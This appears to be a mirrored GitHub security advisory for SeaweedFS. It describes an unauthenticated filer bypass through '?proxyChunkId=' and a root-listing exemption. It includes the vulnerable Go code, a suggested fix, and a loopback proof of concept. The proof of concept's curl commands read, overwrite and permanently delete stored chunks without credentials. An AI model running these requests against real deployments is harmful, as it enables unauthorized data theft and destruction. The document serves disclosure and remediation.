GHSA-88VG-F4WX-GRQ3
Authorization bypass via the filer `?proxyChunkId=` branch dispatching ahead of the JWT gate, enabling unauthenticated chunk read and deletion
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-88VG-F4WX-GRQ3 divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An Authorization Bypass Through User-Controlled Key (CWE-639) / Missing Authentication for a Critical Function (CWE-306) in the SeaweedFS filer: the `?proxyChunkId=` chunk-proxy branch in `filerHandler` is dispatched and returned before `maybeCheckJwtAuthorization` runs, so `GET`, `PUT`, `POST` and `DELETE` against any needle in the cluster are reachable on the filer's HTTP port with no filer credential of any kind — on a filer where `jwt.filer_signing.key` and `jwt.filer_signing.read.key` are both configured and every other request answers `401 wrong jwt`. An unauthenticated caller reads the bytes of a stored object, replaces them, or deletes the needle; the deletion becomes unrecoverable at the master's next routine garbage vacuum. A second, independent exemption in the same function serves `GET /` — the filer root listing, including `chunks[].file_id` for every file at the root — to the same unauthenticated caller, which supplies the fid the proxy branch needs.
This is an incomplete fix of the hardening in #10434 (`91979ec51`), whose own commit message names the attack: *"The `?proxyChunkId=` branch dispatches and returns before the JWT gate, so whatever credential the proxy attaches is reachable without authentication. … An anonymous `DELETE /?proxyChunkId=<fid>` therefore arrived at the volume server holding a write-key token scoped to that fid, and the volume server honored it."* That change stopped the filer from minting a write-key token for an anonymous caller. It did not stop the anonymous caller from reaching the volume server, and where the volume server has no `jwt.signing.key` of its own — the shipped default, and the configuration `weed/command/scaffold/security.toml` describes for a filer deployment — the anonymous DELETE still lands.
Affected component
`weed/server/filer_server_handlers.go`, `filerHandler` lines 58–79 and `maybeCheckJwtAuthorization` lines 213–219; `weed/server/filer_server_handlers_proxy.go`, `proxyToVolumeServerURL`. Confirmed at release `4.45` (`79b87202136cebdaaa7db4d94eaa5915ad381276`) and at `master` `9fef11526e6a3b59ebffa42a1a31f2f7d425b595`; the two files are byte-identical between them. The proxy branch has existed since the endpoint was added; the `GET /` exemption was added by `6940b7d06` (2026-01-29) for health checks, before the filer had `/healthz` and `/readyz`.
Deployment and attacker position
The deployment is the one GHSA-gv5w-hfx8-8cwq (CVE-2026-72921) and GHSA-99q7-x53r-6j4g (CVE-2026-77368) were both filed against: master, volume server and filer running, only the filer's HTTP port reachable by the attacker, internal master and volume ports private, and `jwt.filer_signing` / `jwt.filer_signing.read` configured so the filer accepts no unsigned request. The attacker holds no credential at all. The volume server's own `jwt.signing.key` is unset, which is the shipped default and what the scaffold recommends for a filer — its comment on `jwt.signing.read` reads *"jwt for read is only supported with master+volume setup. Filer does not support this mode."*
Details
`filerHandler` reads `proxyChunkId` off `/` and dispatches on it before it reaches the authorization gate:
// proxy to volume servers
var fileId string
if r.URL.Path == "/" {
fileId = r.URL.Query().Get("proxyChunkId")
}
if fileId != "" {
fs.proxyToVolumeServer(w, r, fileId)
...
return // returns before the gate below
}
...
isReadHttpCall := r.Method == http.MethodGet || r.Method == http.MethodHead
if !fs.maybeCheckJwtAuthorization(r, !isReadHttpCall) {
writeJsonError(w, r, http.StatusUnauthorized, errors.New("wrong jwt"))
return
}There is no method restriction on the branch, so a `PUT`, `POST` or `DELETE` is proxied to the volume server exactly as a `GET` is, with the caller's body and query forwarded. On a read the filer additionally mints a fid-scoped volume read token on the caller's behalf (`maybeGetVolumeReadJwtAuthorizationToken`, added by #10100 so that internal consumers keep working when `jwt.signing.read.key` is set). The consequence is that the read bypass is *stronger* the more the operator hardens: a volume server that refuses the anonymous caller directly hands the same caller the content when it arrives through the filer, because the filer signed for them.
`maybeCheckJwtAuthorization` carries the second bypass:
func (fs *FilerServer) maybeCheckJwtAuthorization(r *http.Request, isWrite bool) bool {
if !isWrite && r.URL.Path == "/" {
return true
}
return fs.checkJwtAuthorization(r, isWrite, jwtScopedRequestPaths(r))
}`GET /` therefore reaches `listDirectoryHandler`, which returns the filer root's entries with their chunk file ids. The same exemption also lets a token restricted by `allowed_prefixes` read the root listing, disclosing every sibling tenant's directory name — the boundary CVE-2026-72921 was filed to protect. The read-only filer port shares the function and the exemption.
PoC
Built from `master` `9fef11526e` with `go build ./weed` (go1.27.0), run as `weed server -dir=./data -ip=127.0.0.1 -master.port=9333 -volume.port=8080 -filer -filer.port=8888 -s3=false`, with `security.toml` in the filer's working directory setting `jwt.filer_signing.key` and `jwt.filer_signing.read.key` and nothing else. Tokens are HS256 over `SeaweedFilerClaims`.
Controls first — the gate is on, and prefix scoping works:
no token, PUT /tenant1/a.txt -> 401
no token, GET /rootfile.txt -> 401
no token, GET /tenant2/secret.txt -> 401
no token, GET /tenant2/ (listing) -> 401
no token, DELETE /tenant2/victim.txt -> 401
token scoped to /tenant1, GET /tenant1/a.txt -> 200
token scoped to /tenant1, GET /tenant2/secret.txt -> 401Bypass A, no credential — the root listing, and the fid it hands over:
$ curl -s -H "Accept: application/json" http://127.0.0.1:8888/
http=200
/rootfile.txt | size 23 | chunks ['5,031693a856']
/tenant1 | size 0 | chunks []
/tenant2 | size 0 | chunks []Bypass B, no credential — read, overwrite, delete:
$ curl -s "http://127.0.0.1:8888/?proxyChunkId=5,031693a856"
CONTENT-OF-rootfile.txt # /rootfile.txt answered 401 above
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8080/2,04cb202d2b
200
$ curl -s -X DELETE "http://127.0.0.1:8888/?proxyChunkId=2,04cb202d2b"
{"size":415} # http=202
$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8080/2,04cb202d2b
404
$ curl -s -X PUT -F "file=@payload" "http://127.0.0.1:8888/?proxyChunkId=3,02bd2ba952"
{"name":"3,02bd2ba952","size":240,"eTag":"4ba03fb3",...}
$ curl -s -H "Authorization: Bearer $ADMIN_READ" http://127.0.0.1:8888/tenant2/secret.txt
# http=200, 0 bytes, was 22A token scoped to `/tenant1` reads a `/tenant2` chunk through the same branch, having been refused `/tenant2/secret.txt` seconds earlier.
The deletion is permanent. The filer's own read path appends `readDeleted=true` (`weed/filer/stream.go:506`), so that one filer keeps serving the deleted needle until the volume is compacted, while the volume server's ordinary read path already answers 404. After the master's routine garbage vacuum:
$ curl "http://127.0.0.1:9333/vol/vacuum?garbageThreshold=0.0001" -> 200
/tenant2/coldvictim.txt, valid admin read token -> http=500 (error body) (was 440 bytes)
/tenant2/victim.txt, valid admin read token -> http=500 (error body) (was 360 bytes)
/tenant1/a.txt (untouched control) -> http=200, 24 bytes`/tenant2/coldvictim.txt` had never been read through the filer before its needle was deleted, so no cache can be masking that result.
Negative control, on a second cluster where the volume server's own `jwt.signing` and `jwt.signing.read` keys are also configured:
volume direct read, no volume token -> 401
unauthenticated read through the filer proxy -> 200, CONTENT-OF-tenant2/secret.txt
unauthenticated DELETE through the filer proxy -> 401 {"error":"wrong jwt"}
unauthenticated PUT through the filer proxy -> 401 {"error":"wrong jwt"}
unauthenticated GET / -> 200The write and delete halves are closed by a volume write key; the read half is not, because the filer mints the read token itself.
Impact
An unauthenticated caller on the filer's HTTP port — the surface `jwt.filer_signing` exists to make safe to expose, and the surface #10436's own commit message calls *"the only exposed surface"* operators expect — obtains, for any needle whose fid they know: the object's content, the ability to replace that content with their own, and the ability to destroy it permanently. A prefix-scoped tenant obtains the same three against any fid, including its own subtree, through a gate that would otherwise refuse the write. And with no credential at all, `GET /` returns the filer root listing with the chunk file ids that name those needles.
A fid is not guessable — the cookie is 32 random bits — but it is not a secret either: it is returned by the unauthenticated `GET /` above, it is in every chunk manifest, `?metadata=true` and `weed shell fs.meta.cat` return it to any legitimate reader, the filer logs it at `-v=4`, and every prefix-scoped tenant already holds the fids for its own data.
Suggested fix
Move the proxy dispatch below the gate and delete the `/` exemption, which the dedicated `/healthz` and `/readyz` probes added in #9738 have made redundant:
isReadHttpCall := r.Method == http.MethodGet || r.Method == http.MethodHead
if !fs.maybeCheckJwtAuthorization(r, !isReadHttpCall) {
writeJsonError(w, r, http.StatusUnauthorized, errors.New("wrong jwt"))
return
}
// proxy to volume servers — after the gate, so an unauthenticated caller
// cannot reach a volume server through the one port operators expose.
if r.URL.Path == "/" {
if fileId := r.URL.Query().Get("proxyChunkId"); fileId != "" {
fs.proxyToVolumeServer(w, r, fileId)
stats.FilerHandlerCounter.WithLabelValues(stats.ChunkProxy).Inc()
stats.FilerRequestHistogram.WithLabelValues(stats.ChunkProxy).Observe(time.Since(start).Seconds())
return
}
}func (fs *FilerServer) maybeCheckJwtAuthorization(r *http.Request, isWrite bool) bool {
return fs.checkJwtAuthorization(r, isWrite, jwtScopedRequestPaths(r))
}A fid carries no path, so `AllowedPrefixes` cannot scope it. The safest completion is to refuse the proxy branch outright to a prefix-restricted token: every documented consumer of this endpoint — `filer.sync`, `filer.backup`, `filerProxy` mounts, the MQ broker and the upload gateway, all named in #10100 — holds an unrestricted token. Resolving the fid to its owning entry and feeding that path into `jwtScopedRequestPaths` is the more permissive alternative and costs a lookup per request.
Separately: `-filer.exposeDirectoryData=false` is accepted on the command line and then silently overridden, because `filer_server.go:183` calls `v.SetDefault("filer.expose_directory_metadata.enabled", true)` and the option is read back from viper rather than from the flag. Only the TOML key takes effect. That matters here because the scaffold offers this switch as the mitigation for precisely this risk.
What this is not
I demonstrated exactly three operations against a needle whose fid the caller holds — read, content replacement, and deletion made permanent by the routine vacuum — plus the unauthenticated root listing that supplies fids for files at the filer root. I did not demonstrate, and do not claim:
- Enumerating fids. The 32-bit cookie makes blind guessing impractical. The unauthenticated end-to-end chain from zero knowledge therefore reaches only files stored at the filer root; for anything deeper, the fid must come from somewhere else. I list realistic sources above and executed none of them as an attack.
- Reaching arbitrary volume-server endpoints. #10436 closed that; `validateProxyChunkId` parses the fid before the lookup and rejects anything that is not one. I re-read that guard and it holds, including the `_N` delta-suffix handling.
- Write or delete where the volume server has its own `jwt.signing.key`. The negative control above shows both refused in that configuration. The read bypass survives it; the destructive half does not.
- Anything about the gRPC surface, the S3 gateway, `weed mount`, or WebDAV. This is the filer's HTTP handler only.
- Recovery of the deleted data. I did not attempt undelete before the vacuum, and after it the needle is gone from the compacted volume.
Nothing in this report was executed against any host I do not own; the entire run is loopback, on a cluster built from this repository's own source, with data I created for the purpose.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-88vg-f4wx-grq3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
